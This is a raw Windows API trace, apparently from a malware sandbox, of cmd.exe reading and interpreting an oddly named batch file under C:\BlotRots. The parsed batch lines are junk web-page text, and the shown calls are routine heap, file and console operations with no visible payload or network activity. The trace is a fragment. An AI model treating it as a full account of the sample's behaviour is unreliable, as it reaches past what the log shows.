GetProcessHeap () returned 0x20b0f920000 [0162.775] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.775] GetProcessHeap () returned 0x20b0f920000 [0162.775] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.775] GetProcessHeap () returned 0x20b0f920000 [0162.775] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.776] GetProcessHeap () returned 0x20b0f920000 [0162.776] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.776] GetProcessHeap () returned 0x20b0f920000 [0162.776] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.776] GetProcessHeap () returned 0x20b0f920000 [0162.776] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.776] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.776] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0162.776] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1113, lpOverlapped=0x0) returned 1 [0162.776] SetFilePointer (in: hFile=0x94, lDistanceToMove=1707, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ab [0162.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0162.776] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.776] GetFileType (hFile=0x94) returned 0x1 [0162.777] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.777] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ab [0162.777] GetProcessHeap () returned 0x20b0f920000 [0162.777] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.777] GetProcessHeap () returned 0x20b0f920000 [0162.777] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.777] _tell (_FileHandle=3) returned 1707 [0162.777] _close (_FileHandle=3) returned 0 [0162.778] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.778] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.778] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.778] SetFilePointer (in: hFile=0x94, lDistanceToMove=1707, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ab [0162.778] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.778] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ab [0162.778] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x110a, lpOverlapped=0x0) returned 1 [0162.778] SetFilePointer (in: hFile=0x94, lDistanceToMove=1763, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e3 [0162.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 56 [0162.778] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.778] GetFileType (hFile=0x94) returned 0x1 [0162.778] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.778] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6e3 [0162.778] GetProcessHeap () returned 0x20b0f920000 [0162.778] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.779] GetProcessHeap () returned 0x20b0f920000 [0162.779] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.779] _wcsicmp (_String1="XP", _String2=")") returned 79 [0162.779] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0162.779] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0162.779] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0162.779] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0162.779] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0162.779] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0162.779] GetProcessHeap () returned 0x20b0f920000 [0162.779] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.779] GetProcessHeap () returned 0x20b0f920000 [0162.779] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f946ec0 [0162.780] GetProcessHeap () returned 0x20b0f920000 [0162.780] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f92cb10 [0162.780] _tell (_FileHandle=3) returned 1763 [0162.780] _close (_FileHandle=3) returned 0 [0162.780] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.780] GetFileType (hFile=0x50) returned 0x2 [0162.780] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.780] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.780] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.786] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.786] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.786] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.786] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.786] GetFileType (hFile=0x50) returned 0x2 [0162.786] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.786] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.787] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.787] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.787] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.787] GetFileType (hFile=0x50) returned 0x2 [0162.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.787] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.788] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.788] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f946ed0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f946ed0*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.788] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0162.788] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.788] GetFileType (hFile=0x50) returned 0x2 [0162.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.788] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.789] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0162.789] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.789] GetFileType (hFile=0x50) returned 0x2 [0162.789] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.789] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.789] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.793] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.793] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.794] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.794] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.794] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.794] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.794] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.794] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.794] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.794] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.794] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.794] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.794] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.794] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.794] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.794] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.794] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.794] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.794] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.794] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.794] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.794] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.794] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.795] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.795] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.795] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.795] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.795] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.795] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.795] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.795] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.795] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.795] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.795] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.795] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.795] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.795] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.795] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.795] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.795] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.795] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.795] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.795] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.795] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.795] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0162.795] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.795] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.796] GetProcessHeap () returned 0x20b0f920000 [0162.796] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.798] SetErrorMode (uMode=0x0) returned 0x0 [0162.798] SetErrorMode (uMode=0x1) returned 0x0 [0162.798] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.798] SetErrorMode (uMode=0x0) returned 0x1 [0162.798] GetProcessHeap () returned 0x20b0f920000 [0162.798] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0162.798] GetProcessHeap () returned 0x20b0f920000 [0162.798] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0162.799] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.799] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.799] GetProcessHeap () returned 0x20b0f920000 [0162.799] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.799] GetProcessHeap () returned 0x20b0f920000 [0162.799] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.799] GetProcessHeap () returned 0x20b0f920000 [0162.799] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.799] GetProcessHeap () returned 0x20b0f920000 [0162.799] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.799] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.799] GetProcessHeap () returned 0x20b0f920000 [0162.799] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.799] GetProcessHeap () returned 0x20b0f920000 [0162.799] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.799] GetProcessHeap () returned 0x20b0f920000 [0162.799] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.799] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.799] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.799] GetLastError () returned 0x2 [0162.799] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.799] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.800] GetLastError () returned 0x2 [0162.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.800] GetLastError () returned 0x2 [0162.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.800] GetLastError () returned 0x2 [0162.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.800] GetLastError () returned 0x2 [0162.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.801] GetLastError () returned 0x2 [0162.801] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.801] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.801] GetLastError () returned 0x2 [0162.801] ??_V@YAXPEAX@Z () returned 0x1 [0162.801] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.803] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.803] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.803] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.803] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.803] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.803] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.803] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.804] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.804] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.804] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.804] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.804] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.804] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.804] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.804] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.804] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.804] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.804] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.804] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.804] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.804] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.804] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.804] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.804] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.804] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.804] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.804] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.804] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.804] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.804] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.804] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.804] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.804] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.804] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.804] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.804] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.804] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.804] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.805] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.805] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.805] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.805] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.805] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.805] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.805] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.805] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.805] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.805] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.805] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.805] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.805] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.805] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.805] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.805] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.805] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.805] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.805] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.805] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.805] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.805] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.805] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.805] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.805] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.805] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.805] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.805] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.805] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.805] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.805] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.805] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.805] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.805] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.806] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.806] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.806] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.806] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.806] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.806] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.806] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.806] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.806] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.806] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.806] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.806] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.806] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.806] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.806] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.806] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.806] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0162.806] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0162.806] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0162.806] ??_V@YAXPEAX@Z () returned 0x1 [0162.806] GetProcessHeap () returned 0x20b0f920000 [0162.806] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0162.806] GetProcessHeap () returned 0x20b0f920000 [0162.806] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956d90 [0162.807] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0162.807] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.807] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.807] GetProcessHeap () returned 0x20b0f920000 [0162.807] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0162.808] SetErrorMode (uMode=0x0) returned 0x0 [0162.808] SetErrorMode (uMode=0x1) returned 0x0 [0162.808] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.808] SetErrorMode (uMode=0x0) returned 0x1 [0162.808] GetProcessHeap () returned 0x20b0f920000 [0162.808] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0162.808] GetProcessHeap () returned 0x20b0f920000 [0162.808] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0162.808] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.808] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.808] GetProcessHeap () returned 0x20b0f920000 [0162.808] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.808] GetProcessHeap () returned 0x20b0f920000 [0162.809] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.809] GetProcessHeap () returned 0x20b0f920000 [0162.809] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 